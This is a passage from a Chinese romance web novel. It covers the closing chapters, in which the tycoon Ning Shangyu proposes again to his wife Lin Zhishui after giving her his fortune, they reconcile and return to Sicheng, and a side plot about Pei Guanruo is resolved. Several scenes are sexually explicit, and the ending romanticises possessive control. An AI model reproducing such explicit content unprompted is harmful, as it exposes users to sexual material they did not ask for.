林稚水依旧瘫坐在地毯上,从愣怔到震惊,直至画面逐渐黑暗下去,她还是无法平复这股激荡不已的心绪。 宁商羽野心勃勃地布了那么久的商业策略,却将到手的财富权利,都拱手让给了扬言要跟他做一对分居异地的联姻妻子。 在这场博弈中: 她手中的唯一筹码就只有纯粹的爱,看起来毫无胜算,但凡宁商羽继续权力至上杀伐决断心,他就能稳操胜算的赢下这盘棋。 这一份生日礼物。 以及,在外界公开佩戴着权欲之羊的指环。 都是宁商羽对她表态着服输的信号。 林稚水清澈的眼底蓄起了泪水,沿着轻眨的睫毛滑落下来,一滴滴,从轮廓精致又怜悯的脸颊到唇角,尖下巴…… 最后,被这身裙子衣领的缎面料子给吞没。 她哭了。 林家众人却难得罕见的默契笑了起来。 哪怕是精致资本主义的盛明璎都忍不住摇头感慨了一句,字字意味极深:“看来野心家棋逢对手,稍有不慎也会惊动了凡心。” 无论外界有没有各凭本事窥探出宁商羽举动之下的服输真相,林稚水的名字,一天之内占据了整个太平洋海岸的国际新闻头版。 而国内,各大顶级财阀家族的掌权人们看到消息后,皆是感到十分诧异,私下纷纷给宁商羽发送了询问邮件。 无一封回复。 此刻,那架专用的湾流G650ER公务机飞行轨迹终于落地在了港区地界。 宁商羽明显是要亲赴一趟去接人回家,漫长的路途中,他远程处理了不少公务,又跟家族的核心高层线上会议着。 对于他一出手,就把全部身家给送出去当礼物这种示爱行径。 大家都默契闭麦。 唯独老宅那边听闻后震怒了一阵,宁徽诏甚至连服几颗降压药才把情绪压下去,缓过来后,直言,宁商羽不愧是宁琛启的亲儿子。 这对血脉相连的父子都是在外征服世界,在内就征服自己,心甘情愿给枕边人跪下。 无论宁徽诏对港口项目改姓林是什么态度。 宁商羽都镇定自若的翻阅文件,空闲之际,才对静候旁边的奚宴吩咐一句,口吻极淡:“多给老爷子备两个私人家庭医生,这个年纪心火太旺不是件好事。” 奚宴微微应声:“是。” 今天一整天林稚水都是待在家里过完生日,她尝了盛明璎亲自煮的长寿面,也亲口吹了奶油蛋糕上的粉色蜡烛,许了愿。 到窗外天色渐晚,细雨也不再下。 林稚水到楼上换了身洁白缎面长裙,又到书房跟盛明璎提及:“妈妈,我要去找宁商羽。” 盛明璎位于黑色皮椅上,正回复公司秘书的消息,伴随着门口传来的清澈声音,她抬首,看到林稚水眼眸盛满欢喜的望着自己,在灯火照映下透亮得像是水晶一样。 对视几秒后。 盛明璎深刻的意识到: 林稚水真正长大了,已经从嗷嗷待哺的高敏感体质小婴儿,出门晃一圈都得因为天生抵抗力很差要好好全身消毒,隔三差五不经意间就来一个磨人小病小灾的……逐渐地变成了能独立自主的活下去了。 盛明璎不必再将她深藏在家中小心翼翼的养育着,不必再忧思她步林曦光的后尘,因美貌名扬招来的都是一些家世显赫的偏执受虐狂,最后却叫江南楚家强娶豪夺了去。 不必再林稚水来到这个世界起,对她的身体健康有所亏欠,一秒都没有停歇过。 女儿成年后,终究都是要离开林家。 而她会一直在这里,一直守着林砚棠生前在意的家族基业。 盛明璎手指无意识般摩挲着钢笔的浮雕花纹,而后又缓缓放下,犹如真正意义上对林稚水的人生彻底放手。 她轻轻掀起美艳的唇线,说:“去吧。” …… 林稚水没有立即动身前往泗城,她心底有强烈的预感,宁商羽已经先低头,就势必会亲自来港区接她回去。 而林家老宅有母亲和阿泱她们在,被数双眼睛盯着,并不是彼此久别重逢见面的合适地方。 宁商羽应该会选择在太平山顶那所私人住所。 林稚水虽然不能百分之百笃定,却安慰自己,猜错了也无碍,他倘若去林家寻不到她,自然就会来这里。 夜幕下,这栋偌大的华美建筑物隐于黑暗之中,没有亮起一盏灯光,和往常那般,像是永久性被封存住了,周围寻不到任何影子踪迹。 林稚水抵达后,安静站在台阶下凝望了很久面前的大门。 不在没关系的。 她将心底那股很大的失落慢慢自我消化掉,深呼吸,唇角抿出微笑弧度,没关系的,宁商羽迟早要来…… 随即,林稚水继续踩着高跟鞋上更高的一层台阶,愈发幽暗环境,就衬得她行走间的裙摆如绽放白莲。 三四秒后,最终走到门前,正曲起手指触及上面如镜的屏幕,准备解开密码锁,蓦地,有只闪烁着点点金光的萤火虫不知从哪儿无声漂浮到了她雪白指节上。 林稚水下意识止住动作。 这只小小萤火虫就犹如夜里一盏指路灯,逐渐地,照明了这扇庄严大门的缝隙,又悄然地游荡了进去。 是没锁的。 林稚水表情愣怔,后知后觉意识到这个至关重要的一点。 她手开始细微颤抖,抵住门轻轻往里推了推,真开了,近乎是下一秒,整栋原本沉寂氛围的华美别墅全部灯光像金浪一样在格外深邃夜幕下亮起。 最先映入林稚水琉璃眼眸的是红色玫瑰,从眼前客厅大理石地板到位于中央的水晶吊灯,沙发以及楼梯之处都是被一大片大片美轮美奂盛开着的玫瑰花缠绕着。 仔细端详。 又会发现鲜艳的玫瑰只是点缀陪衬,真正闪闪夺目的是用红宝石精心雕琢出的玫瑰形状花束,数不清有多少聚在一块儿,观赏价值级高。 这是宁商羽准备的? 他在哪? 林稚水有些惊艳到恍惚地注视了片刻,才想起,下意识地往前走,裙摆柔滑的拂过那些满地的玫瑰花瓣,直到她忽顿住了。 前面不远处。 宁商羽从旋转楼梯现身,还是白天视频里看到的那一身线条极其锋利的黑绸西装,墙壁上垂落若星悬的鎏金壁灯照映着他俊美到摄魂夺魄的面容。 比起新闻上的画面。 此时此刻的他更显真实,就在眼前。 林稚水无端感到莫大的委屈,眼眸几乎生理性地眨了两下,故意不去看他了。 直到宁商羽高大挺拔的身形走到面前,见她垂头,侧过情绪明显的脸蛋躲避着,他却反而微微俯近。 林稚水呼吸很轻,还是闻到了他好闻又浓郁的冷杉气息,仿佛从鼻尖一直蔓延到了喉咙,乃至这具极其敏感脆弱身躯的五脏六腑去。 她安安静静站着不动,垂下的睫毛投射出漂亮剪影。 宁商羽幽深的眼神低低端详了林稚水很久,在彼此间这种近在咫尺的距离下,继而,大手去握起了她身侧静垂着的手。 没有亲吻,而是像温柔耐心地抚摸珍宝一样,从她腕心一寸寸地揉捏着,落在了那无名指上。 林稚水不明所以,终于舍得抬头看向他。 宁商羽薄唇勾起弧度,带着滚烫气息,亲了亲她白皙指节。 虽然不如激烈的亲吻来得直接,这种不经意一个举动,却能触动到林稚水酸涩难抑的心口,她抿起的双唇轻动,欲开口。 下一秒,亲眼看到宁商羽单膝跪在了这片玫瑰花海里。 林稚水清透见底的瞳孔骤缩,裙摆下的高跟鞋尖像是踩不稳,遵从身体的本能想后退,却被他紧紧握着手,筋骨修长的手指稍微用点力,不让走。 宁商羽不让她走。 即便再怎么眼高于顶的年轻傲慢雄狮也会有为情爱俯首一日,他对她无法割舍下的情爱,最终战胜了一直以来满身满骨深重的权欲。 资本至上。 永远不及林稚水至上。 林稚水看到他西装革履地下跪做着类似求婚的动作,胸口莫名生出一种脆弱的无措感起来,又想强撑出平静点儿的状态,声音溢出唇:“你干嘛。” “林稚水。”宁商羽唤她完完整整的名字,继而,又将她无名指亲了下,意图很明显,语调低缓问道,“你可以嫁给我吗?” 林稚水在紧张,又透着轻慢的茫然情绪反问:“我们不是名正言顺的合法夫妻吗?” “不一样。”宁商羽指腹温柔摩挲着她指节这一小块白嫩的肌肤,琥珀眼眸藏着更深更沉的情绪,一直注视着她,“是林稚水,愿意嫁给宁商羽吗?” 林稚水不惜明面上以离婚为代价下这盘棋,要一个唯利是图的野心家给予出爱情。 宁商羽给了。 他将名下惊人的财富、至高无上的权利都如数为她双手奉上,从灵魂到躯体这一辈子都甘愿奉献给她。 宁商羽要不要? 宁商羽这个人要不要??? 林稚水整副身躯因为他的求婚,连同血液都像是凝固住,反应了很久,然后才有了那么一点儿力气,“我本来是打算好了……今天过完生日,你还不来求和,我,我就要回宁家找你了。” 她蹙紧了眉,明明是想憋着情绪的,现在哭显得太破坏气氛,可眼泪完全不听头脑的指挥了,倏然,从微红的眼眶就这般委屈欲坠地滚了下来。 晶莹剔透的泪珠一大颗接着一大颗,还未落到玫瑰花瓣上,就被宁商羽另一只手掌眼疾手快接住。 他连泪,都要极其强势地霸占。 都是他的。 林稚水看到这幕,便心知肚明这辈子都是他的,无论最后是她平静又无望的接受了和宁商羽这段商业联姻是没有爱情的,安分守己地回到宁家,做一个贤良淑德的完美妻子。 还是宁商羽最终主动认输,付出行动承认彼此间是有爱情存在…… 她这辈子都只能是他的。 十八岁的生日礼物收到这份天降婚约,是他给的。 十九岁的生日礼物收到用之不尽的财富和至此扬名太平洋的至高无上荣耀,也是他给的。 林稚水从跨过成年的这条界限后,她的一切被宁商羽占有,也一样公平公正的占有了他的一切。 她和他都在为彼此做出了让步和妥协。 “我答应。”林稚水泪又滴在了他的手掌心,声音很轻很轻落下:“是林稚水,答应了宁商羽的求婚。” 楼下无数的玫瑰鲜花红宝石,楼上那一枚放置在床头的钻戒也戴上了她的无名指。 宁商羽先是把她横抱到了主卧,压制在了那张黑丝绒的大床里,低头,像一头被驯化的危险丛林猛兽,高挺的鼻梁先是继续沿着白皙的手慢慢地嗅着,又细致吻了许久。 从纤细指根一直用滚烫的热息熏染到了指尖,犹如某种烧到沸腾的情绪泄露……每一根都没冷落,直到将她指尖吻得泛红。 林稚水感受到了,她再无法控制对宁商羽的爱,同时也被他举动过分取悦着。 渐渐地,胸口的酸涩委屈都散得一干二净,被酥软滋味取而代之,她甚至从心底很享受这股压迫感包裹着自己全身。 宁商羽将那枚暗喻着两人爱情的钻戒拿过来,嘴唇再度朝她无名指轻触,嗓音低哑问:“稚水,可以吗?” 林稚水极小幅度地点了头。 紧接着,宁商羽将戒指施以最虔诚郑重地缓慢推到她的无名指根,粉红色的光泽映衬着她雪白无暇皮肤,美到让人无法形容。 尺寸刚刚好。 林稚水瞧着新鲜,还想近距离去打量,被宁商羽筋骨修长的手指亲密无间相扣在了宽大的枕头上。 他俯低那张俊美的脸庞,持续之前的亲吻,却是朝她双唇压下。 新婚不到一年的夫妻久别重逢,在这间黑暗的宽敞主卧里,会发生什么,林稚水是有心理准备的,只是意大利酒店那次进展的不是很顺利。 宁商羽又一次极具耐心地给她当起了启蒙老师,以前好不容易能全入,如今现在恢复了留有余地的时候。 林稚水跟他十指交握,就没分开过,额心也相抵着,“实话告诉我,赵家那场生日晚宴你是不是故意去的?” 没那么巧合的事。 她数月以来就低调出了一次远门,去赴个宴还能跟他偶遇上。 林稚水后来回到港区独自琢磨了好长一段时间这件事,愈发觉得有端倪,只是为了赌这一口气,忍着没直接问。 宁商羽脖侧隐约有青筋浮动,喉结也性感滚了滚,“不然呢?我闲的没事去听赵廷璧和他三婚妻子的爱情故事?” 林稚水一直闹着要回家,躲在港区地界不愿意出来。 他也赌着气。 非得等她愿意冒出头了,便急不可耐地跟过去刷存在感。 那晚还是不欢而散。 宁商羽想到此,又去吻她的唇,当初不让吻,现在气势汹汹,就跟要弥补回来似的,逐渐地,林稚水红润的舌尖发麻,声音开始凌乱和细碎:“我就知道,你这人,言不由衷的很,那晚沉着一张脸,还不是给我换了粤菜,还故意趁机会搂我肩膀和腰。” 宁商羽低低的笑,“不能搂么?” 他现在做的事,可比当时过分一百倍,那凶悍的巨大热量直接在她腰部的里面,原形毕露。 林稚水声音停了好半天,才略显迷乱的续上:“那晚你是不是也在赌,我如果态度软下来,给你一点好脸色看,你就要带我走。” 宁商羽没回答,动作突然凶猛了下。 很明显,是被她看破了藏得极深的心思。 林稚水脑海中又想到,恐怕当时贺南枝临走时说的发小圈聚会,也是他暗中推波助澜组的局。 如果她在生日宴上就表露出服软态度,宁商羽便会端着居高临下的高傲态度,却趁机带她换个场地来缓解一下冷战多月的关系,然后顺理成章的,把人带回泗城。 只是她当时不去。 宁商羽只好临时起意,把她带回酒店做一场夫妻间暗中较劲着的爱。 林稚水又恍惚想到,所以宁商羽根本就没准备套,酒店自备的,对他来说太紧了,他才会试着戴上又给面无表情扔掉。 而宁商羽没料到,她更紧。 “你这人。”林稚水没有继续回味那晚的不愉快,忽然仰起湿气又红润的脸蛋,用黏而轻的鼻音说:“心肠好硬啊,一句哄我的话都不肯说,我甚至都想过,如果主动回到你身边,多半日子是很难熬的……要时不时隔三差五,被你给脸色。” “谁爱给谁脸色看?”宁商羽长指去捏她,这张脸,情绪变得比那双干净到仿佛一面镜子的琉璃眼眸还有杀伤力,喜怒哀乐的情绪都往他胸膛撞,一秒都不能忍,说变就变。 林稚水是绝对不承认的。 她抬起双手主动搂住了宁商羽的修长脖颈,使彼此愈发紧密着,说:“当然是你,还跟我放狠话,说不再踏足港区一步了,你知不知道我之前天天蹲在广场吹寒风喂白鸽就为了等你来,等的有多含辛忍苦?” “结果呢!” “你一来就气势压人的威胁我,不是不再踏足港区了吗?请问现在来的是谁?是宁商羽还是宁伤鱼?” “是你老公。”宁商羽手掌开始将陷在黑丝绒床垫里的她,像是春日里最嫩的纤柳般,折出极美的弧度,从喉咙溢出的嗓音重重落下:“能合法把你睡一遍又一遍,让你高……” 林稚水去咬他嘴唇,故意咬出淡淡的血腥味,“不许说出来。” 宁商羽无声笑了,过十来分钟之后,感受到林稚水剧烈地打着颤,继而,等她逐渐地没了咬人力气,他反倒是重新去亲她的无名指。 嘴唇含住了无名指的指尖,一寸一寸,用滚烫的温度,将那枚象征着这段岌岌可危过的联姻终于稳固下来的钻戒也卷入了进来。 林稚水眼眸看愣了好半天都没回过神,这刻,彻底被宁商羽极具蛊惑的行为给迷住了心魂。 无人能抵挡住他的魅力。 她也不行。 到后半夜。 林稚水终于完整的接纳了一次他,也累惨了,像是小动物似的主动寻找到了自认为是这个世界上最安全又温暖的巢穴,放心把自己的脆弱生命,交付到了宁商羽怀里。 她全心全意地抱着他,连头发丝都沾着浓郁的冷杉味道,然后沉沉睡去。 【正文完】 第75章 林稚水醒得晚,躺在光线明亮的主卧黑丝绒床上,鼻尖仿佛还萦绕着似有若无的冷杉味道,像是梦里未散的。 睁眼时,她身上已经清清爽爽,显然早已被不见踪影的宁商羽抱到浴室去洗过,又上了药,昨晚白嫩的腿根被反复碾磨出的伤已经愈合得很好,下地走路不会有太大影响。 躺会儿。林稚水没有第一时间去找宁商羽,而是从床尾翻找到他的宽大黑绸衬衫,松垮穿上后,就跑到楼下去。 昨晚求婚布置的玫瑰花海犹在,密布于糜艳花朵间的红宝石依旧流光溢彩,层层叠叠的,在大片玻璃落地窗外的圣洁金色光芒照射着,仿佛永不凋谢,简直就像个巨大的艺术品。 哪怕昨晚看过,再看一次,林稚水心脏还是会被惊艳得要狂跳出来。 几秒后,她微微屏息拿手机录了段视频,继而,远程发给了江南的林曦光,一秒钟都不等,又发送了视频邀请过去。 等林曦光接通时。 林稚水身体略微前倾地趴在沙发上,两条白皙的小腿还在半空悠闲晃荡,而那双古典遗传性的琉璃眼眸倏地靠近手机屏幕,稍微睁大,“瞳瞳,我告诉你一个秘密,昨晚宁商羽跟我求婚了!” 林曦光与她对视数秒。 林稚水又说:“你怎么不说话?” 林曦光心道她能有什么话说,宁商羽都敢在国际上公开清零自己名下财富,为了求和什么行为是做不出来,说:“哦,宁商羽真是太坏了,害你现在身价太高,我跟你说话有压力。” 这种拖着尾音,明晃晃的调侃让林稚水脸红得跟什么似的,一掐就要流出水来,嘴上却说:“那没办法呢,瞳瞳你早一点适应吧,谁让我天生理所当然要承受这一切的。” 话音落地。 林稚水就小小声地,跟林曦光分享了自己这场博弈的心理路程,以及昨晚求婚的细枝末节,当然,非常自然地省略了一些脸红心跳的亲密。 林曦光挑了挑眉,一本正经地精准地点出:“你们没做爱?” 林稚水假装没听见,“姐夫送我的那三大箱宝石我都很喜欢,瞳瞳,替我谢谢姐夫。” “你姐夫家里最不缺就是这个,没什么好谢的。”林曦光顿了顿,又说:“是他自己要送。” 当初提议林稚水来江南选宝石,本意是想哄她出远门换个新环境散散心,别整日窝在林家可怜兮兮的等宁商羽上门求和,唯恐她把自己憋出点病来。 而林稚水仰着脸,很认真说:“姐夫除了经常不好好叫人名字外,他待我很好,当初你们结婚时,姐夫送聘礼来,也给我送了好多礼物。” 像江南楚家这种家史成册的名门望族向来极重礼数,上门求娶前是知道林家还有一位未成年的小小姐,给林曦光备了什么,也给林稚水都来了份。 林曦光从不爱跟林稚水谈自己的感情问题,而这么多年来,林稚水是知道自己这位以美貌著称的姐姐体质多招一堆摇着尾巴争抢着被她高跟鞋踩在脚底的受虐狂。 嫁到楚家后。 就无人再敢觊觎她什么了…… 以至于林稚水对这位姐夫印象非常好,她其实只见过楚天舒一面,还有一部分好感来源于,楚天舒鼻梁弧度生得完美的右侧有颗山根痣,淡褐色的,衬得他抬眸间的神采极好看。 都是有痣的人,林稚水内心把楚天舒划分到了自己人的阵营。 她收到礼物就记得感谢人家,也同时跟林曦光继续甜蜜蜜的分享:“宁商羽用很多很多的红宝石雕刻成玫瑰给我布置求婚现场……” 她碎碎念什么,林曦光在视频通话里都安静又耐心听着,直到林稚水握着的手机快电量不足了,才依依不舍地主动挂断。 其实在林曦光面前。 林稚水是没有什么财富身价超过多少的实际概念,也不知各界领域的豪门都被震撼到了什么程度,可能连对她的神秘印象,又会蒙上一层更神秘的薄纱。 这些她全部不知道。 等在楼下慢悠悠晃着欣赏够了这片玫瑰花海,林稚水就重新上楼找宁商羽了,她倒是半点都不担心他不在太平山顶。 刚和好,关系还没彻底恢复如初,也还没把她成功从港区带走,要是敢不打招呼就擅自飞走了。 那林稚水只能继续回林家,在住上一段时间。 宁商羽在书房办公,推门进去时,他正坐在宽大黑沉的书桌前回复邮件,窗外格外璀璨的日光透过玻璃,覆在他面容,就显得眉骨鼻梁的线条更完美锋利了。 林稚水歪头静静观赏了一会儿,忽然抿了下唇。 这张脸,昨晚深埋在她胸口吸了很久。 那张黑丝绒大床上极致纠缠的画面不停浮现在脑海,而林稚水同时,趿拉着拖鞋朝他走过去,距离近了,鞋尖踢了一下那性感突起的修长脚踝。 等宁商羽掀起眼皮望来。 林稚水白净的下巴略抬,“你不给小林总坐下大腿吗?” “都小林总了,自己不主动点来坐?”宁商羽话虽这样说,手臂的动作快了一步,将她垂在身侧的纤细腕心拽住,就往腿上抱。 小林总看上去很柔软,特别是在自然光照映下,白皙额角的乌黑碎发绒绒的,像是婴儿没褪去的细小绒毛,皮肤残留着清香混合着冷杉的味道,和他身上是一样的。 失而复得。 宁商羽将她环抱在怀里,幽深眼神也落在她身上,不可避免地想到了这个词。 林稚水殊不知他心中的想法,不自觉调整好舒服的坐姿后,睫毛下的视线移向了宁商羽的电脑屏幕。 她什么都要好奇。 于是光明正大地看了起来,微曲指节透着粉色,去点开未读的邮件。 好多封邮件都是豪门圈内那些顶级财阀的掌权人亲自发来调侃他的,都说宁商羽是权力至上的主,一向手段强硬激进地擅长对别人索取高昂代价。 什么时候,见过他付出这么高昂代价了? 林稚水逐字看着,而宁商羽也没闲着,毫不客气地将高挺的鼻梁慢慢摩擦而过她的脸,热息伴着他的熟悉压迫感,让她关注点瞬间偏移,眼尾微颤地看过去:“他们这样笑你,完了,以后你上谈判桌,会不会隔三差五的被拿出来当谈资笑?” 显然是会的,宁商羽割舍不下对她的爱欲,就预料到有这么一天。 而他像是潜伏在危险暗处的巨型狮子,拿着侵略领地来的无数财富宝藏,去引诱洁白无辜的小天使,“小林总准备怎么弥补我?” 林稚水轻蹙着眉心问:“弥补你什么?”他还需要补吗? “脆弱的尊严。”宁商羽与她的鼻息交错了会儿,又往脖子那薄薄的皮肤去。林稚水醒来穿的是他衬衫,松垮到都不用解开纽扣,就能清晰地看到里面的一片风景。 宁商羽要她好好补一下。 林稚水躲都躲不及,心跳忽然漏了好几拍:“你这体格哪里还需要补……还有,你哪里像是尊严很脆弱的样子。” 除了昨晚单膝跪地求了次婚后,那戒指一戴上,宁商羽到床上就开始本性暴露,折腾了她许久,非得不罢休,要她从灵魂深处开始被催熟到能勉强的全部纳入,才结束。 明明很脆弱的是她! 林稚水的气焰压根儿就压不过他的,很快又开始流水,黑绸的衬衫衣摆逐渐散发着甜蜜与馥郁气息,“好好好……我帮你补,宁商羽先别,我,我现在就替你给谢忱岸回复一封千字小作文,去控诉他竟敢发邮件嘲笑你……” 话音刚落。 宁商羽毫不客气地低笑了声。 林稚水有些慌乱抬起手,往厚重宽大的书桌那边摸索着,真想去发邮件似的,却无意中指尖碰到了文件旁的钢笔。 循着本能想抓着点儿什么,随即,便白嫩的手心就将其紧紧攥住了。 直到拿到眼下。 林稚水才注意到这支烙印有族徽的钢笔是宁商羽书桌上常见的,质地是冰冷而坚硬的金属感,顶端甚至雕刻着威风凛凛的狮首,犹如他权杖一样。 她直愣愣端详着,柔声问,“你是用这支上谈判桌签的港口收购合约吗?” 宁商羽见她翻来覆去地看,像是看上了,“喜欢?” 林稚水的瞳仁微微亮起时很美,又会被过长的睫毛阴影打散成犹如璀璨的繁星般,她喜欢的,哪怕没点头,从琉璃眼就能泄露出最真实的情绪。 宁商羽倏地,将她整个人抱了起来。 林稚水心脏跟着缩紧了半秒,还未反应过来,紧接着,宁商羽修长有力的手臂直接把这张书桌上的平板电脑和台灯,乃至文件都挥扫到了复古木质地板上。 叮铃咣当的一阵响,击得林稚水心脏更缩紧起来。 她毫无防备地被放在桌子的中央,衣摆下的小腿晃着,脚尖着不到地,忽然间紧张起来:“我喜欢的钢笔,你激动什么?” 宁商羽靠近了,在她耳畔低问:“它除了在谈判桌上签合约,还有另一种用途,小林总想不想体验一下?” 跟他比起来,林稚水脑海中显得匮乏的想象力限制了她这方面所学到的生理知识,而宁商羽只是口头上讲礼貌的问问,直接动作强势地收回了钢笔。 然而,下一秒,威风凛凛的狮首从她咽喉游移而下,一点点的,挑松了这身衬衫领口的纽扣…… 林稚水的肩胛骨形状紧贴着书桌,没处缩去,怔怔地看着宁商羽薄唇的弧度始终意味很深,修长的手用钢笔的狮首,慢条斯理地在她美丽圣洁的雪峰轮廓上,一笔一划地写下透明的字迹。 我爱你。 我爱你。 我爱你…… 他锋利的字迹跟那张俊美离奇的五官面容一样摄人的三魂七魄,林稚水透亮的眼珠子里映满了情愫,像湖泊涟漪而起,都从泛红眼尾的那两颗小痣淌了出来。 宁商羽突然极其低沉说道:“钢笔没墨水了。” 林稚水神智恍惚了几秒,完全揣测不到他下步要做什么,直到宁商羽游刃有余地抽了两张干净的纸巾沿着威风凛凛的狮首擦了半圈,又低垂望向她。 那双琥珀眼底被窗外的璀璨日光映得一片鎏金色,犹如燃烧的火焰,直直坠入她心口:“小林总,给点水?” …… 林稚水懵懵懂懂地没试过这种全新体验,每一分每一秒都极度的愉快又感到很难熬,直到那支狮首钢笔吸满了透明干净的墨水。 过了好久,她还在厚重宽大的书桌上,身子缩卷在堆叠如雪的衣物里,偶尔打个猛颤。 宁商羽将色泽波光粼粼的狮首钢笔妥当地收回了整洁抽屉,继而,低下头,用长指捏起她的下巴尖,又亲了亲她涨红的脸颊,“好敏感啊,我的小林总。” 林稚水被他嘴唇温度蜻蜓点水般触及过的一小块地方莫名烫得厉害,总之哪儿都觉得烫,心脏也愈发异常跳动着,就没停止过。 宁商羽又再度俯身,向下,亲了亲比眼尾痣还红的小尖:“跟我回家。” 林稚水这次没有再发表港区才是她家的气人言论了,只是肩膀因他动作无助的颤抖完后,安静极了,过了片刻,抬起指,轻轻点着宁商羽胸膛上让她充满归属感的心脏这个位置,笑了一下。 宁商羽亲赴港区求和,又终于如愿以偿把他手掌心这位财富不可估量的小林总带回泗城第一时间,裴家也得知了此消息。 书房内。 一盏落地灯的暖暗色调光晕照在了书桌上,也照在了裴嘉因脸上,他的雅致五官在此刻变得深邃立体,眼底没有涌起任何波澜情绪。 他将林稚水视为最至高无上的信仰暗恋了那么多年,以前贫穷的私生子身世不配惊扰到她世界,如今依仗宁氏家族权势爬上这个位子,更不能惊扰到她的世界。 在精明的秘书面前。 裴嘉因始终保持着最理智一面,淡定自若合上文件,嗯了声。 秘书又说道:“裴观若拒绝了裴家给她无罪辩护一事,她的意思是杀人未遂,该被判决几年就判几年……” 腹中的孩子一出生,裴观若就会主动去伏法。 她可以不认罪的,毕竟裴嘉因现在以仁慈治家,书桌的左侧抽屉里放着一堆厚厚的资料,都是裴家老宅那些跟齐纯芝和陈宝翠有着相同凄惨命运的女人统一口径交出的伪证。 又加上裴家要洗白,裴嘉因在外界眼里要装出一副书香门第的文雅君子形象,而裴观若提供了不少高层股东贪污受贿、洗钱等一系列的罪证,让他能顺理成章地驱逐了些人。 裴嘉因无论念及哪点,都会善待裴观若这个同父异母的妹妹。 裴观若却拒绝了。 她不需要任何人来拯救自己,为陈宝翠讨完公道,她赎完罪,才能真正从鲜血淋漓的过往里走出去,干干净净去面对自由的人生。 当日,裴嘉因就将裴观若的决定清楚告知了林稚水那边,以及奉上了能替她无罪辩护的证据。 林稚水在私人机上阅完了邮件,只回复了三个字:【尊重她。】 裴观若以前的人生都被父权压制着,现在她终于可以自主的选择过怎样人生……林稚水不想因为怜悯心泛滥,去插手干预什么。 她知道裴观若大仇得报后,不会自寻短见了。 宁氏家族的顶尖私人医院早已把裴观若健康体检报告单送到老宅那边,也递了一份宁商羽这边,林稚水年底的时候就有看到过: 裴观若肚子里怀的是一个女孩。 而现在微妙的是,裴观若和宁惟羽彼此间没有法律意义上的婚姻关系,但凡将来宁惟羽去跟哪位豪门千金联姻的话,这个孩子就必定会沦为外界口中的私生女。 裴观若是知道做一个寄人篱下的私生女是什么滋味。 林稚水心想,等从牢狱恢复自由身后,裴观若应该会跟宁惟羽抢夺这个孩子的监护权,甚至带着去国外隐姓埋名…… 她睫毛掩去情绪,退出了手机邮件,继续将柔若无骨般的身子窝在宁商羽宽阔温暖的怀里。 哪怕漫长的飞行路程有点儿犯困了,也要用白皙的手揪着他的黑色领带,拽了又捏的,又一圈圈绕在自己纤细指根处,不让他离太远儿。 白日西沉之前。 林稚水终于回到了泗城,太久没踩在这片代表权势的繁华地界,都有点儿陌生,特别是当她下飞机,猝不及防地看到被最天然湖泊水系蜿蜒其中的华美别墅似乎少了点什么。 怔了几秒。 是少了那片高耸参天、永远充满蓬勃生命力的落羽杉相傍。 林稚水眼眸微微讶异,随即,视线不经意地滑过就跟身旁的男人,可惜宁商羽端着沉静矜持的气度,完全叫人看不出微妙端倪来。 他好端端的砍树做什么? 林稚水很爱琢磨宁商羽的举动,近乎是一种下意识的本能习惯,一路迈进了别墅,管家等人都满脸欢喜的迎接过来,一时间,人多热闹,她脑海中的这个困惑也转瞬消散了。 半个小时后。 林稚水在餐桌前吃了点儿东西,又被宁商羽神色如常的目送上楼,她白天乘坐了那么久的飞机,要去洗个澡换身舒适点的睡袍,他没跟去,而是独自来到了那片湖泊。 稚嫩的落羽杉树苗一大片像是雨后新长出来的,刚好,目之所及整整有一百棵。 一百棵,是宁商羽在冷战期为了狠心割舍下对林稚水的爱欲亲手种植下,他尝试过,去放弃这段刚开始就一直视为是各取所需的商业联姻。 偏偏种植一棵,新的欲望就会无穷无尽破土而出。 直到他发现没有用。 他这一身全部的浓稠欲念都已经系到了林稚水一个人身上,羁绊极深,到了骨髓乃至灵魂的程度。 割舍不下。 宁商羽选择甘愿对她俯首,去留住她那颗最纯粹干净的心,那么一出手就不可能再给自己任何输掉的机会。 一句我爱你,哪怕能暂时把林稚水哄回身边。 但是,宁商羽更清楚这个暂时终究是有期限时间,往后朝夕相处下,林稚水会像一只严重缺乏安全感的无辜小动物一样,时不时生性敏感的嗅到危险气息,对外面的世界不再充满信任。 他想让林稚水回到身边来,就必须给足安全感。 这种安全感,要在代表权力的天平上极具重量,让她可以继续无知无畏的冒出头来探索外界欲望,在他这里,寻到最温暖的巢穴。 宁商羽琥珀色的眼眸垂落,视线沿着天边落日的余晖,移到那些高度才堪堪到膝盖的落羽杉上,树苗会长大,欲望也会跟着疯狂滋生…… 他用野心勃勃的深重权力欲将一身毫无利益杂质的林稚水彻底圈禁在了私人领域里,注定,她能反悔爱他的唯一绝佳机会已失,再也无法逃离。 宁商羽不会放她走。 此时此刻,林稚水走到别墅上方的主卧那面巨大落地窗前,裹着浴巾,正看到宁商羽高而孤拔的背影逐渐让那片颜色瑰丽的余晖勾描出锋利轮廓线,而他,似乎是在注视着一颗小树苗的生长,仅仅是简简单单地站在那里,就像一幅油画。 她隔着洁净玻璃,安静欣赏起了这幅画,直到宁商羽预感了什么似的,抬首望来。 彼此对视上。 林稚水表情微怔间,也清晰无比的看到宁商羽那双琥珀色眼眸。 里面盛着的不止是骨子里与生俱来的占有欲。 仿佛还在诉说—— 他对她的爱与渴望,经久不熄。 【正文完】